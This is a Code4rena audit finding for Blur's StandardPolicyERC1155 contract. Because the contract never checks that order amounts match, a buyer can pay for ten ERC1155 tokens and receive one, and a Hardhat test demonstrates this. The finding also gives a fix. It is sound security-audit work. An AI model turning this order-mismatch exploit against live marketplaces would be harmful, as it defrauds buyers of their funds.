Buyers can be tricked into buying fewer ERC1155 tokens while paying full price

[code423n4]

Lines of code

https://github.com/code-423n4/2022-10-blur/blob/main/contracts/matchingPolicies/StandardPolicyERC1155.sol#L25-L30
https://github.com/code-423n4/2022-10-blur/blob/main/contracts/matchingPolicies/StandardPolicyERC1155.sol#L51-L56

Vulnerability details

Impact

Due to missing validation of sell and buy order amounts in StandardPolicyERC1155 buyers may not get the amount of token
the wish to buy. Sellers can sell fewer tokens than buyers agreed to buy.

Proof of Concept

Unlike ERC721, ERC1155 allows to mint multiple tokens with the same ID. Thus, when matching buy and sell orders it's
critical to verify that amounts in the orders are matching. An example exploit scenario is when seller sells fewer tokens
than buyer expects to buy:

// tests/execution.test.ts
it('transfers wrong ERC1155 amount [audit]', async () => {
  await mockERC1155.mint(alice.address, tokenId, 10);
  sell = generateOrder(alice, {
    side: Side.Sell,
    tokenId,
    amount: 1, // Alice sells 1 token
    collection: mockERC1155.address,
    matchingPolicy: matchingPolicies.standardPolicyERC1155.address,
  });
  buy = generateOrder(bob, {
    side: Side.Buy,
    tokenId,
    amount: 10, // Bob expects to buy 10 tokens
    collection: mockERC1155.address,
    matchingPolicy: matchingPolicies.standardPolicyERC1155.address,
  });
  sellInput = await sell.pack();
  buyInput = await buy.pack();

  await waitForTx(exchange.execute(sellInput, buyInput));

  // Bob receives only 1 token...
  expect(await mockERC1155.balanceOf(bob.address, tokenId)).to.be.equal(1);
  // but pays for 10 tokens.
  await checkBalances(
    aliceBalance,
    aliceBalanceWeth.add(priceMinusFee),
    bobBalance,
    bobBalanceWeth.sub(price),
    feeRecipientBalance,
    feeRecipientBalanceWeth.add(fee),
  );
});

Recommended Mitigation Steps

In StandardPolicyERC1155, verify that both sell order and buy order amounts are matching.

[GalloDaSballo]

Dup of #666